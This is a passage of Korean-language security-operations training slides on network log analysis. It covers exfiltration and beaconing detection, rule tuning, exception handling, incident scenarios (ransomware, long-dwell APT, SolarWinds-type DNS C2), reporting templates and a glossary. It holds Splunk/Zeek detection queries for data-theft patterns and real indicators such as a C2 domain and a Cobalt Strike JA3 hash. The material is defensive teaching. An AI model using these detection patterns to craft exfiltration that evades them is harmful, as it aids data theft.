DNS: 클라우드 스토리지 도메인
EDR: 파일 압축/접근 행위
DLP: 콘텐츠 기반 탐지

💡 유출은 "어떤 경로로"보다
"얼마나, 어디로"가 핵심 질문

보강 설명유출 탐지는 나가는 방향의 이상 증가를 먼저 보는 것이 효율적이다. 장기 세션, Upload 편향, 희귀 목적지, 개인 스토리지·암호화 채널 결합 여부가 중요하다.

공격 패턴전조 신호조치 우선순위

대표 신호

반복성·대상 다양성·시간 간격이 공격 자동화 여부를 드러낸다
단일 성공보다 성공 전후 로그와 후속 행동을 함께 본다
정상 업무 패턴과 비교한 이탈 정도를 수치로 적어 두면 강하다

추가 확인

같은 출발지 또는 같은 계정의 전후 30분 흐름을 묶어 보기
DNS·Flow·EDR·인증 로그 중 비어 있는 소스를 한 개 더 확보하기
핵심 자산 여부와 현재 진행 중인지 여부를 먼저 판단하기

즉시 조치 힌트

정찰 단계라도 응답 성공 포트와 노출 자산을 우선 정리
인증 성공·Beaconing·유출은 차단 또는 격리 우선순위가 높다
판단문에는 사실·패턴·영향·권고 조치를 분리해서 적는다

룰 운영

룰 튜닝 프로세스

룰 초기 배포
(관찰 모드)

→

7일
오탐 수집

→

예외/임계치
조정

→

정식 운영
모드

→

월 1회
회고

📋 튜닝 전 체크리스트

샘플 데이터로 테스트했는가?
지난 30일 재생 테스트 결과는?
가장 많은 오탐 원인 TOP 3은?
심각도가 과도하게 높지 않은가?
티켓에 필요한 근거가 출력되는가?

📋 자주 실패하는 룰 패턴

숫자 조건만 있고 맥락이 없는 룰
예외가 전혀 없는 룰 (오탐 폭발)
너무 넓은 이름("Suspicious Traffic")
출력 근거가 빈약한 룰
자산군 차이를 고려 안 한 룰
운영팀과 공유되지 않은 룰

보강 설명탐지 엔지니어링은 룰 한 줄보다 관측 가능한 흔적, 데이터 소스 품질, 예외 관리, 후속 Playbook까지 설계하는 과정이다.

도구 활용드릴다운운영 팁

핵심 포인트

거시 로그에서 이상 구간을 좁힌 뒤 상세 도구로 내려가는 순서를 유지
필터·필드·예외 조건을 팀 공통 언어로 정리해 두기
도구별 장점과 사각지대를 같이 적어야 오탐 대응이 빨라진다

추가 확인

입력 로그의 시간대·필드명·누락률부터 먼저 검증
도구 결과를 다른 센서의 사실과 반드시 교차 검증
자동화 스크립트는 실패 케이스와 예외 메시지까지 남기기

실무 예시

Wireshark는 Filter→Conversations→Follow Stream 순서가 안정적
Zeek는 conn.log만으로도 초동 triage의 절반 이상을 해결 가능
탐지 룰은 경보 문구에 왜 알렸는지 근거를 함께 넣어야 한다

룰 운영

오탐 분석 및 예외 관리 실무

❌ 예외 관리 실패 시나리오

"매일 300개 경보 → 분석가 무감각 → 진짜 사건 놓침 → Post-incident 조사에서 발견"

Alert Fatigue: 경보가 많을수록 신뢰도 하락 → 모두 무시하게 되는 악순환

✅ 예외 관리 우수 사례

예외 목록 문서화: IP, 계정, 시간대, 사유, 만료일 포함
만료 기한 설정: 영구 예외 금지 — 최대 90일, 재검토 트리거
CMDB 연동: 자산 역할 기반 자동 예외 생성
예외 감사: 월 1회 예외 목록 검토, 불필요한 것 삭제

# 예외 테이블 구조 예시 # exception_list.csv ip,hostname,reason,owner,expire_date,rule_id 10.1.2.3,backup-server01,야간 대용량 백업 정상,인프라팀,2026-06-30,RULE-EXFIL-001 10.5.0.1,vuln-scanner,취약점 스캐너 주기 스캔,보안팀,2026-04-01,RULE-SCAN-001

보강 설명오탐 분석 및 예외 관리 실무의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

Part 14

종합 실전 워크샵 Ⅱ

Advanced Scenario Workshop
멀티스테이지 공격 · 정밀 분석 · 완전한 판단문

보강 설명종합 실전 워크샵 Ⅱ 파트의 핵심은 개념을 설명하는 데서 끝나지 않고, 바로 판단 기준과 운영 질문으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽는다.

핵심 개념판단 기준실무 적용

들어가기 전에

용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
비슷한 포트·프로토콜도 자산 역할에 따라 의미가 달라짐
한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행

이 파트에서 놓치지 말 것

정상 패턴과 이상 패턴을 비교해서 기억하기
숫자보다 방향성·반복성·시간대를 먼저 읽기
다른 로그를 붙이면 판단이 어떻게 강해지는지 확인하기

바로 써먹는 학습 포인트

핵심 필드 3~5개만으로도 초동 판단 가능
탐지 신호와 오탐 가능성을 같이 적는 습관
실습 답안은 결론보다 근거를 더 분명히 쓰기

워크샵 M

워크샵 시나리오 M — 랜섬웨어 초기 침투 흔적

08:31 피싱 이메일 수신 — 악성 첨부파일 (Invoice_2026.docm)

08:47 피싱 링크 클릭 → 외부 IP 443/TCP 연결 (13.115.x.x, 첫 출현)

08:47~09:15 동일 IP로 30초 간격 Beaconing (jitter: 8%)

09:15 내부 SMB 횡이동 — 3개 서버로 445/TCP 연결 급증

09:42 파일 서버로 대용량 SMB 전송 (2.1GB), 랜섬웨어 배포 의심

10:05 랜섬웨어 실행 — EDR 탐지, 동시에 C2로 800KB 전송

🔍 분석 질문

① 08:47 연결만 봤을 때 즉시 차단해야 했는가? ② Beaconing 탐지는 언제 가능했는가? ③ 내부 SMB 확산 탐지 포인트는? ④ 유출은 막을 수 있었는가?

보강 설명워크샵 시나리오 M — 랜섬웨어 초기 침투 흔적는 정답 맞히기보다 근거를 조립하는 연습에 가깝다. 주어진 로그에서 무엇이 사실인지, 어디가 추론인지, 어떤 추가 로그가 필요한지 먼저 나누어 적는 것이 중요하다.

실습답안 포인트추가 로그

답안 포인트

시간순으로 재배치한 뒤 공격 단계 또는 운영 상황을 먼저 정의
상태코드·bytes·반복성·시간대를 빠짐없이 근거로 제시
단정 표현보다 확신도와 근거 수준을 함께 적기

추가 확인

같은 IP·계정·호스트의 전후 30분 범위를 묶어 흐름 보기
DNS·EDR·인증·Proxy 중 하나 이상을 추가 확보해 교차 검증
오탐 시나리오도 한 줄로 적어 판단의 균형 유지

미니 실습

로그 3줄을 하나의 타임라인 문장으로 정리해 보기
즉시 조치와 추가 조사 항목을 따로 적어 보기
동일 현상을 개발팀·운영팀·관리자용 문장으로 각각 바꿔 보기

워크샵 M 해설

시나리오 M — 해설 & 판단문

⏱️ 탐지 가능 포인트별 타이밍

08:47: 신규 외부 IP + 비표준 연결 → TI 매칭 시 즉시 탐지
~09:00: Beaconing 탐지 (13분 내 25회, jitter 8%)
09:15: 내부 SMB 횡이동 탐지 (가장 중요한 차단 포인트)
09:42: 대용량 SMB 전송 탐지 → 이미 늦음

❌ 놓친 기회 분석

이메일 게이트웨이에서 .docm 차단 못 함
TI 피드에 해당 IP 미등록
내부 SMB 트래픽 모니터링 미흡

# 최종 판단문 작성 예시 [Fact] 08:47 내부 PC (10.1.5.23)에서 외부 IP 13.115.x.x:443으로 최초 연결 후 30초 간격 Beaconing(jitter 8%) 확인. 09:15 동일 PC에서 내부 3개 서버로 445/TCP 연결 급증 (횡이동 패턴) [Pattern] 초기접근 → Beaconing → 내부탐색 → 랜섬웨어 배포의 전형적 멀티스테이지 [Context] 해당 IP는 TI 미등록이나 AS 분석 상 알려진 호스팅 인프라. 오전 출근 직후 피싱 클릭과 시간 일치. [Action] 즉시 10.1.5.23 격리, IR 팀 에스컬, 내부 3개 서버 증거 보존, C2 IP 차단

워크샵 N

워크샵 시나리오 N — APT 장기 잠복 탐지

🔎 시나리오 배경

국내 방산 업체 A사. 3개월 전부터 특정 내부 서버(10.0.5.100)에서 매일 새벽 2~3시 사이 외부 IP(104.21.x.x)로 HTTPS 연결이 반복. 각 연결 시간은 3~8분이며 전송량은 소량(5~50KB). IDS 알람 없음.

# 장기 잠복 탐지 쿼리 # 90일 이상 지속 동일 야간 연결 index=zeek sourcetype=conn id.orig_h="10.0.5.100" | eval hour=strftime(_time,"%H") | where hour>=2 AND hour<=4 | eval date=strftime(_time,"%Y-%m-%d") | stats dc(date) as days avg(duration) as avg_dur sum(orig_bytes) as total_bytes values(id.resp_h) as dest_ips by id.orig_h id.resp_p | where days > 60 | sort -days

⚠️ APT 탐지 어려운 이유

소량 전송 — DLP 임계치 미달
정상 포트(443) 사용 — IDS 미탐
주기 있지만 랜덤 지터 추가
TI 미등록 IP 사용 (신규 인프라)
수개월 분산 — 단기 분석 미탐

🔍 APT는 "시간축"으로 봐야 보인다
90일 이상 분석 창이 필요

워크샵 N 해설

시나리오 N 해설 — APT 탐지 접근법

✅ 탐지 성공 조건

90일 이상 로그 보존 및 분석 가능
새벽 시간대 트래픽 기준선 수립 완료
서버 역할 기반 화이트리스트 관리
Threat Hunting 정기 수행 (월 1회 이상)
해당 서버 업무 특성 파악 (방산 업무 서버)

🔍 추가 조사 방향

104.21.x.x → WHOIS, 패시브 DNS 조회
서버 내 프로세스 실행 이력 (EDR)
해당 서버 접근 계정 목록 (auth.log)
전송 내용: TLS 복호화 또는 DPI 시도

# 최종 판단문 [Fact] 10.0.5.100(내부 방산 DB 서버)에서 104.21.x.x:443으로 90일 이상 매일 새벽 02-04시 반복 HTTPS 연결. 건당 전송량 5~50KB이나 누적 시 총 전송량 약 1.2GB 추산. [Pattern] APT 전형적 Low & Slow 유출 패턴. 정상 트래픽으로 위장 (443/HTTPS), 업무 시간 외 시간대 선택, TI 미등록 IP 사용. [Context] 해당 서버는 방산 프로젝트 설계도 접근 권한 있음. 3개월 전 공급망 업체 계정으로 로그인 이벤트 확인됨. [Action] 즉시 격리 + IR 팀 에스컬 + KISA 신고 + 공급망 계정 전수 조사 + 법집행 협조

워크샵 O

워크샵 시나리오 O — 공급망 공격 네트워크 탐지

🔎 시나리오 배경 (SolarWinds 유형)

정상 IT 관리 소프트웨어 업데이트 후 다수 서버에서 avsvmcloud[.]com 도메인 쿼리 발생. DNS 응답은 정상 CNAME 반환. 그러나 해당 도메인은 APT가 장악한 C2로 사용 중.

# 공급망 공격 탐지 — DNS 이상 분석 # 동일 도메인을 여러 내부 호스트가 쿼리 index=zeek sourcetype=dns | stats dc(id.orig_h) as querying_hosts count as total_queries values(id.orig_h) as hosts by query | where querying_hosts > 5 AND NOT match(query, "microsoft|windows|apple|ubuntu") | sort -querying_hosts # → avsvmcloud.com이 여러 서버에서 쿼리 # → 정상처럼 보이지만 업데이트 후 출현

⚠️ 공급망 공격 탐지 어려운 이유

합법적 서명된 소프트웨어 업데이트
업데이트 서버 도메인 정상 등록
TLS 암호화로 내용 확인 불가
수천 개 조직 동시 침해 — 업체 인지 전

✅ 대응 포인트

업데이트 전/후 네트워크 행위 비교
소프트웨어별 알려진 정상 연결 목록
신규 외부 도메인 쿼리 이상 탐지
TI 피드 즉각 적용 체계 구축

Part 15

보고와 커뮤니케이션

Reporting & Communication
기술 보고 · 경영진 보고 · 사건 타임라인 · 개선 제안

보강 설명보고와 커뮤니케이션 파트의 핵심은 개념을 설명하는 데서 끝나지 않고, 바로 판단 기준과 운영 질문으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽는다.

핵심 개념판단 기준실무 적용

들어가기 전에

용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
비슷한 포트·프로토콜도 자산 역할에 따라 의미가 달라짐
한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행

이 파트에서 놓치지 말 것

정상 패턴과 이상 패턴을 비교해서 기억하기
숫자보다 방향성·반복성·시간대를 먼저 읽기
다른 로그를 붙이면 판단이 어떻게 강해지는지 확인하기

바로 써먹는 학습 포인트

핵심 필드 3~5개만으로도 초동 판단 가능
탐지 신호와 오탐 가능성을 같이 적는 습관
실습 답안은 결론보다 근거를 더 분명히 쓰기

보고

네트워크 분석 보고서 구조

📄 기술 분석 보고서 (분석가 → 팀장/IR팀)

1. 사건 개요: 발생 일시, 관련 자산, 사건 유형
2. 탐지 경위: 어떤 룰/헌팅에서 발견했는가
3. 타임라인: 공격 흐름 시간 순 재구성
4. 기술적 근거: 로그 발췌, IOC 목록, 연결 정보
5. 영향 범위: 영향 받은 시스템/계정/데이터
6. 대응 조치: 이미 취한 조치 및 권고 사항
7. 개선 제안: 재발 방지를 위한 탐지/방어 강화

📊 경영진 보고 (CISO → 임원)

What Happened: 1~2줄 핵심 요약
Business Impact: 업무/재무/규제 영향
What We Did: 대응 조치 요약
Current Status: 현재 위협 수준
What We Need: 의사결정/예산 필요 사항

💡 경영진 보고 = "결론 먼저, 기술은 부록으로"

보강 설명네트워크 분석 보고서 구조 슬라이드는 기술 판단을 운영 문장으로 바꾸는 방법을 다루는 구간이다. 사실·패턴·맥락·조치를 분리해서 적으면 에스컬레이션과 후속 협업이 훨씬 쉬워진다.

운영 실무판단문에스컬레이션

핵심 포인트

사실과 추론을 분리해 적으면 보고 신뢰도가 높아진다
위험도 판단에는 자산 중요도와 현재 진행 여부를 반드시 포함
좋은 문장은 다음 조치와 추가 확인이 무엇인지 바로 보이게 한다

추가 확인

오탐 가능성도 함께 적어 후속 팀의 판단 비용을 줄이기
누락된 로그 소스와 필요한 권한·담당 부서를 같이 명시하기
보고 대상이 기술팀인지 경영진인지에 따라 표현 수준 조정

실무 적용

에스컬레이션은 늦음보다 근거 있는 조기 공유가 더 안전한 경우가 많다
기준선은 숫자와 기간을 명시해야 룰 튜닝에 재사용 가능하다
표준 문장 템플릿을 만들어 팀 내 판단 품질을 균일화할 수 있다

보고

기술 보고 vs 경영진 보고 — 동일 사건 비교

🔧 기술 보고 예시 (IR팀 내부)

"10.1.5.23에서 13.115.x.x:443으로 2026-03-19 08:47:32 UTC 최초 연결. Zeek conn.log 기준 interval=30.2s(±2.4s), 총 47회 연결, orig_bytes 합계 23,482 bytes. JA3: a0e9f5d64349fb13191bc781f81f42e1 — Cobalt Strike beacon 특성. 09:15:08 동일 호스트에서 10.0.3.x/24 대역 445/TCP 스캔 (18개 호스트)..."

📊 경영진 보고 예시 (CISO → CEO)

무슨 일이 있었나: 사내 PC 1대가 피싱 이메일로 인해 해킹 도구에 감염, 내부망으로 확산 시도가 탐지됨 (2026-03-19 오전 중 발생)

비즈니스 영향: 감염 PC 격리 조치 완료. 내부 파일 서버 접근 시도 탐지되었으나 차단함. 고객 데이터 유출 없음.

필요한 조치: 이메일 보안 솔루션 추가 도입 검토 예산 XX억원 승인 요청

🎯 청중에 맞는 언어로 번역하는 것도 분석가의 역량

보고

사건 타임라인 시각화 — 작성 원칙

📋 타임라인 필수 포함 요소

시각: UTC 표준시 + 로컬시 병기
이벤트: 짧고 명확한 설명 (주어+행위+대상)
출처: 어떤 로그/도구에서 확인했는가
심각도: 색상으로 구분 (녹/황/적)
공격 단계: ATT&CK Tactic 매핑
탐지/미탐지: 자동 탐지 vs 수동 발견

🛠️ 타임라인 도구

Timesketch (오픈소스)
SIEM 대시보드 (Splunk, ELK)
엑셀/Google Sheets (간단 정리)
Visio/draw.io (시각화)

# 타임라인 CSV 기본 형식 # timeline.csv timestamp_utc,event,source,tactic,severity 2026-03-19T08:47:32Z, 외부 IP 443 최초연결 (10.1.5.23), Zeek conn.log, Initial Access,HIGH 2026-03-19T08:47:35Z, 30초 간격 Beaconing 시작, Zeek conn.log, C2,HIGH 2026-03-19T09:15:08Z, 내부 445/TCP 스캔 (18개 호스트), Firewall log, Lateral Movement,CRITICAL 2026-03-19T09:42:11Z, 파일서버 2.1GB SMB 전송, Zeek conn.log, Exfiltration,CRITICAL 2026-03-19T10:05:30Z, EDR: 랜섬웨어 실행 탐지 및 격리, EDR (자동 탐지), Impact,CRITICAL

Part 16

분석가 성장과
자기계발

Career Growth & Self Development
학습 경로 · 인증 · 실습 환경 · 커뮤니티

보강 설명분석가 성장과 자기계발 파트의 핵심은 개념을 설명하는 데서 끝나지 않고, 바로 판단 기준과 운영 질문으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽는다.

핵심 개념판단 기준실무 적용

들어가기 전에

용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
비슷한 포트·프로토콜도 자산 역할에 따라 의미가 달라짐
한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행

이 파트에서 놓치지 말 것

정상 패턴과 이상 패턴을 비교해서 기억하기
숫자보다 방향성·반복성·시간대를 먼저 읽기
다른 로그를 붙이면 판단이 어떻게 강해지는지 확인하기

바로 써먹는 학습 포인트

핵심 필드 3~5개만으로도 초동 판단 가능
탐지 신호와 오탐 가능성을 같이 적는 습관
실습 답안은 결론보다 근거를 더 분명히 쓰기

성장

네트워크 분석 역량 자가진단 체크리스트

🟢 Level 1 — 기초

☐ IP/Port/Protocol 설명 가능
☐ TCP 3-way Handshake 설명
☐ Wireshark 필터 5개 이상
☐ Zeek conn.log 필드 읽기
☐ DNS 쿼리/응답 구조 이해
☐ HTTP 요청/응답 구조 이해
☐ 방화벽 로그 기본 분석

🟡 Level 2 — 중급

☐ 4가지 공격패턴 식별
☐ DNS Tunneling 탐지
☐ Beaconing jitter 분석
☐ TLS 메타데이터 분석
☐ SIEM 쿼리 작성 가능
☐ 판단문(FPCA) 작성
☐ 탐지 룰 1개 직접 설계

🔴 Level 3 — 고급

☐ 위협 헌팅 가설 수립/실행
☐ APT 장기잠복 타임라인 재구성
☐ STIX/TAXII 자동화 연동
☐ ATT&CK 전체 매핑
☐ 클라우드 네트워크 분석
☐ 보고서 작성 (기술+경영진)
☐ 룰 튜닝 프로세스 운영

📈 현재 Level을 정직하게 평가하고 다음 레벨 1개씩 채우기

보강 설명네트워크 분석 역량 자가진단 체크리스트 슬라이드는 기술 판단을 운영 문장으로 바꾸는 방법을 다루는 구간이다. 사실·패턴·맥락·조치를 분리해서 적으면 에스컬레이션과 후속 협업이 훨씬 쉬워진다.

운영 실무판단문에스컬레이션

핵심 포인트

사실과 추론을 분리해 적으면 보고 신뢰도가 높아진다
위험도 판단에는 자산 중요도와 현재 진행 여부를 반드시 포함
좋은 문장은 다음 조치와 추가 확인이 무엇인지 바로 보이게 한다

추가 확인

오탐 가능성도 함께 적어 후속 팀의 판단 비용을 줄이기
누락된 로그 소스와 필요한 권한·담당 부서를 같이 명시하기
보고 대상이 기술팀인지 경영진인지에 따라 표현 수준 조정

실무 적용

에스컬레이션은 늦음보다 근거 있는 조기 공유가 더 안전한 경우가 많다
기준선은 숫자와 기간을 명시해야 룰 튜닝에 재사용 가능하다
표준 문장 템플릿을 만들어 팀 내 판단 품질을 균일화할 수 있다

성장

권장 자격증 & 학습 자료

🏆 네트워크 보안 관련 자격증

BTL1/BTL2 (Security Blue Team) — 실습 중심, 가성비 우수
GCIA (SANS) — 네트워크 침입 분석 전문
GCIH (SANS) — 침해사고 대응 전문
CEH — 기초 인지도, 내용은 넓고 얕음
OSCP — 공격자 관점, 수비에도 도움
KISA ISMS-P — 국내 규정 준수 중심

📚 무료 학습 자료

TryHackMe — SOC 실습 경로, 브라우저 기반
Hack The Box — 실전 문제 기반 학습
Malware Traffic Analysis — PCAP 실습 사이트
SANS Internet Stormcenter — 일일 위협 분석
Zeek 공식 문서 — zeek.org
ATT&CK Navigator — 시각적 매핑 도구

💡 자격증보다 "실제 분석한 케이스 수"가 더 빠른 성장 지표

보강 설명권장 자격증 & 학습 자료의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

성장

개인 실습 환경 구축 가이드

🖥️ Option 1 — Security Onion (올인원)

Zeek + Suricata + Elasticsearch + Kibana 포함
ISO 다운로드 후 VM 설치 (최소 RAM 8GB)
홈 네트워크 트래픽 실시간 분석 가능
PCAP 임포트로 사전 수집 트래픽 분석

🖥️ Option 2 — Zeek 단독 (경량)

Ubuntu 22.04 + Zeek 설치 (30분)
로컬 트래픽 캡처 후 로그 분석
Wireshark와 함께 사용

# Security Onion 빠른 시작 # 1) ISO 다운로드 # https://securityonionsolutions.com # 2) VMware/VirtualBox에 설치 # RAM: 8GB+, Storage: 100GB+ # 3) 설치 후 웹 접속 # https://localhost → SOC 대시보드 # 4) PCAP 임포트 (실습용) $ sudo so-import-pcap \ /path/to/sample.pcap # 5) 실습용 PCAP 소스 # malware-traffic-analysis.net # wireshark.org/docs/wsug_html_chunked # Zeek Sample Logs (zeek.org) # 6) Zeek 직접 분석 $ zeek -r sample.pcap $ ls *.log # conn.log, dns.log 등 생성

부록 P

입문자 보강 노트
용어 사전 심화

Glossary for Network Security Analysts
헷갈리는 개념 · 자주 혼동하는 용어 · 실무 맥락

보강 설명입문자 보강 노트 용어 사전 심화 파트의 핵심은 개념을 설명하는 데서 끝나지 않고, 바로 판단 기준과 운영 질문으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽는다.

핵심 개념판단 기준실무 적용

들어가기 전에

용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
비슷한 포트·프로토콜도 자산 역할에 따라 의미가 달라짐
한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행

이 파트에서 놓치지 말 것

정상 패턴과 이상 패턴을 비교해서 기억하기
숫자보다 방향성·반복성·시간대를 먼저 읽기
다른 로그를 붙이면 판단이 어떻게 강해지는지 확인하기

바로 써먹는 학습 포인트

핵심 필드 3~5개만으로도 초동 판단 가능
탐지 신호와 오탐 가능성을 같이 적는 습관
실습 답안은 결론보다 근거를 더 분명히 쓰기

부록 P

용어 사전 — 네트워크 기초 (입문자용)

용어	한 줄 실무 설명	자주 혼동
패킷 vs 프레임	패킷=L3(IP), 프레임=L2(MAC) — 계층이 다름	둘 다 "데이터 덩어리"라 혼용
세션 vs 플로우	세션=양방향 연결, 플로우=단방향 NetFlow 레코드	같다고 생각하지만 방향성 다름
포트 vs 서비스	포트는 번호, 서비스는 그 번호가 주로 담당하는 기능	443=HTTPS지만, 443에서 다른 것도 가능
DNS vs DHCP	DNS=이름→IP, DHCP=IP 주소 자동 배정	둘 다 "IP 관련"이라 혼동
NAT vs 프록시	NAT=IP 주소 변환, 프록시=대리 요청	둘 다 "중간에서 바꾼다"는 점에서 혼동
IDS vs IPS	IDS=탐지만, IPS=탐지+차단	이름이 비슷해 혼용
TLS vs SSL	SSL은 구버전(취약), TLS가 현재 표준 — 같은 말처럼 쓰이지만 다름	"SSL 인증서"라고 부르는 관행 탓에 혼용

부록 P

용어 사전 — 공격/탐지 용어

용어	한 줄 실무 설명	보충 설명
IOC	침해 지표 — 악성 IP/도메인/해시 등 탐지에 쓰는 흔적	Indicator of Compromise
TTP	전술(Tactic)/기술(Technique)/절차(Procedure) — 공격자 행동 방식	IOC보다 더 안정적인 탐지 기반
C2	공격자가 악성코드를 원격 제어하는 서버	Command & Control
Lateral Movement	침투 후 내부망에서 다른 시스템으로 이동하는 것	횡이동, 내부 확산
Exfiltration	데이터를 외부로 빼내는 것	유출, 탈취
False Positive	실제로는 정상인데 경보가 울린 것 — 오탐	줄여야 하지만 너무 줄이면 미탐 증가
False Negative	실제 공격인데 경보 못 울린 것 — 미탐	오탐보다 더 위험

부록 Q

분석가 50문 50답 — 기초 판단 (Q1~Q10)

🔍 Q1~Q5 — 맥락 파악

Q1. 출발지 IP가 내부인가, 외부인가? → 위험 수준이 다름
Q2. 목적지 포트가 해당 서버 역할과 맞는가?
Q3. 발생 시각이 업무시간인가, 새벽인가?
Q4. 이 트래픽이 얼마나 지속되었는가?
Q5. 같은 패턴이 다른 호스트에도 보이는가?

🔍 Q6~Q10 — 데이터 검증

Q6. 로그 소스가 신뢰할 수 있는가? 누락은 없는가?
Q7. 타임스탬프 시간대(TZ)가 맞게 변환되었는가?
Q8. 관련 로그가 SIEM에 다 들어와 있는가?
Q9. 이 이벤트 직전/직후에 무슨 일이 있었는가?
Q10. 이 자산의 정상 트래픽 기준선이 있는가?

📋 50개 질문 = 분석 습관의 체계화 — 모르면 모른다고 쓰는 것이 먼저

보강 설명분석가 50문 50답 — 기초 판단 (Q1~Q10) 같은 부록 슬라이드는 암기용보다 실무 참조용으로 보는 편이 효율적이다. 용어·포트·필드·치트시트는 현장에서 꺼내 쓰기 쉬운 묶음으로 정리해 두는 것이 핵심이다.

참조 자료치트시트빠른 확인

읽는 법

유사 개념은 함께 묶어 차이를 한 줄로 적어 두기
도구별 다른 필드명이나 같은 의미의 약어를 나란히 두기
자주 보는 값은 예시 로그 한 줄과 같이 기억하면 오래 간다

현장 활용

FAQ와 참조표는 에스컬레이션 전 초동 확인 체크리스트로 재사용
신입 온보딩 자료와 룰 설명서에 그대로 붙여 활용 가능
팀별 예외 환경을 손으로 메모해 조직 맞춤형으로 갱신

복습 포인트

오늘 가장 자주 나온 용어 5개를 직접 예문으로 바꿔 보기
포트와 프로토콜은 역할 중심으로만 기억하고 나머지는 참조
필드명은 Zeek·Firewall·Proxy에서 어떻게 달라지는지 비교하기

부록 Q

분석가 50문 50답 — 패턴 & 위협 판단 (Q11~Q25)

🔴 Q11~Q17 — 공격 패턴 판단

Q11. Port Scan 신호인가? (짧은 시간 다수 포트)
Q12. Brute Force 신호인가? (동일 대상 반복 실패)
Q13. Beaconing 신호인가? (주기적 소량 외부 연결)
Q14. Exfiltration 신호인가? (대용량 외부 전송)
Q15. DNS Tunneling 신호인가? (긴 서브도메인, 높은 빈도)
Q16. Lateral Movement 신호인가? (내부 확산 패턴)
Q17. 복합 패턴인가? (여러 TTP가 연결되는가)

🟡 Q18~Q25 — 위협 판단

Q18. TI 피드 매칭이 있는가?
Q19. 에러코드 분포가 이상한가? (404 급증 등)
Q20. 실패 뒤 성공이 붙는가? (Brute Force 성공)
Q21. 성공 뒤 내부 이동이 있는가?
Q22. GeoIP가 업무 접점이 없는 국가인가?
Q23. User-Agent가 비정상인가?
Q24. JA3 해시가 알려진 악성 도구인가?
Q25. IDS 알람이 동반되는가?

부록 Q

분석가 50문 50답 — 정상 확인 & 에스컬 판단 (Q26~Q40)

🟢 Q26~Q33 — 정상 가능성 확인

Q26. 이 패턴을 정상 예외로 설명할 수 있는가?
Q27. 백업/배포/점검일 가능성은 없는가?
Q28. 설치된 에이전트가 이 트래픽을 만드는가?
Q29. 과거에도 같은 패턴이 있었는가?
Q30. 담당자에게 확인했는가?
Q31. 변경 관리(CAB) 기록이 있는가?
Q32. 자산 소유자가 알고 있는 행위인가?
Q33. 동일 자산군 전체에서 패턴이 보이는가?

🔴 Q34~Q40 — 에스컬 & 대응

Q34. 지금 즉시 차단해야 하는가?
Q35. 차단하면 업무 영향이 있는가?
Q36. 어떤 팀에 에스컬레이션해야 하는가?
Q37. 증거 보존이 먼저인가, 차단이 먼저인가?
Q38. 관련 자산/계정 전수 조사가 필요한가?
Q39. 법집행 또는 규제 신고 의무가 있는가?
Q40. 지금 가장 먼저 움직여야 할 팀은?

보강 설명분석가 50문 50답 — 정상 확인 & 에스컬 판단 (Q26~Q40) 같은 부록 슬라이드는 암기용보다 실무 참조용으로 보는 편이 효율적이다. 용어·포트·필드·치트시트는 현장에서 꺼내 쓰기 쉬운 묶음으로 정리해 두는 것이 핵심이다.

참조 자료치트시트빠른 확인

읽는 법

유사 개념은 함께 묶어 차이를 한 줄로 적어 두기
도구별 다른 필드명이나 같은 의미의 약어를 나란히 두기
자주 보는 값은 예시 로그 한 줄과 같이 기억하면 오래 간다

현장 활용

FAQ와 참조표는 에스컬레이션 전 초동 확인 체크리스트로 재사용
신입 온보딩 자료와 룰 설명서에 그대로 붙여 활용 가능
팀별 예외 환경을 손으로 메모해 조직 맞춤형으로 갱신

복습 포인트

오늘 가장 자주 나온 용어 5개를 직접 예문으로 바꿔 보기
포트와 프로토콜은 역할 중심으로만 기억하고 나머지는 참조
필드명은 Zeek·Firewall·Proxy에서 어떻게 달라지는지 비교하기

부록 Q

분석가 50문 50답 — 보고 & 개선 (Q41~Q50)

📋 Q41~Q46 — 룰/자동화

Q41. 이 데이터로 탐지 룰을 만들 수 있는가?
Q42. 어떤 예외를 넣지 않으면 오탐이 많아질까?
Q43. 자동화할 수 있는 보강 작업은 무엇인가?
Q44. 사람이 꼭 판단해야 하는 부분은 무엇인가?
Q45. 이 룰의 임계치는 현재 환경에 맞는가?
Q46. SOAR Playbook으로 자동화 가능한가?

📋 Q47~Q50 — 보고 & 회고

Q47. 이 사건을 한 문장으로 요약하면?
Q48. 그 한 문장에 Fact+Pattern+Action이 다 들어 있는가?
Q49. 청중(팀장/경영진)에 맞는 언어로 번역했는가?
